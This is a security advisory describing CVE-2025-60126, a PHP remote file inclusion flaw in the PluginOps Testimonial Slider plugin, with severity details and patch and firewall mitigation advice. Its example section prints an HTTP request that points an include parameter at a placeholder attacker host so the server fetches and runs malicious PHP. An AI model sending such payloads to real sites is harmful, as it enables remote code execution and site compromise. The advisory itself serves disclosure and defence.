Overview
CVE-2025-60126 is a significant cybersecurity vulnerability that affects the PluginOps Testimonial Slider. This vulnerability exposes a potential weak point in the PHP code relating to the improper control of filename for include/require statements, known as ‘PHP Remote File Inclusion’. A successful exploit could lead to a system compromise or data leakage, posing a significant risk to website owners and users alike. Due to the widespread usage of PluginOps Testimonial Slider, this vulnerability is of high concern and warrants immediate attention and mitigation.
Vulnerability Summary
CVE ID: CVE-2025-60126
Severity: Critical (8.8 CVSS Score)
Attack Vector: Network
Privileges Required: Low
User Interaction: None
Impact: System compromise or data leakage
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Product | Affected Versions
PluginOps Testimonial Slider | n/a through 3.5.8.6
How the Exploit Works
The vulnerability arises due to improper control of filenames in include/require statements in the PHP program. This flaw allows an attacker to include a file from a remote server that contains malicious PHP code. When the vulnerable script is executed, the remote file is included and executed as well. This could potentially lead to unauthorized access, system compromise, and data leakage.
Conceptual Example Code
Here is a conceptual example of a HTTP request that might exploit this vulnerability:
POST /path/to/vulnerable/script.php HTTP/1.1
Host: target.example.com
Content-Type: application/x-www-form-urlencoded
include_file=http://attacker.com/malicious_script.phpIn this example, the request is made to a script that is vulnerable to file inclusion attacks. The `include_file` parameter is used to specify the URL of a malicious script on the attacker’s server (`http://attacker.com/malicious_script.php`). When the vulnerable script is executed, it includes and executes the malicious script, leading to the potential consequences outlined above.
Mitigation and Prevention
It is recommended to apply the vendor patch to resolve this vulnerability. In cases where a patch cannot be immediately applied, a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can be used as temporary mitigation. Regularly updating software and performing routine security audits can also help in identifying and mitigating such vulnerabilities in the future.
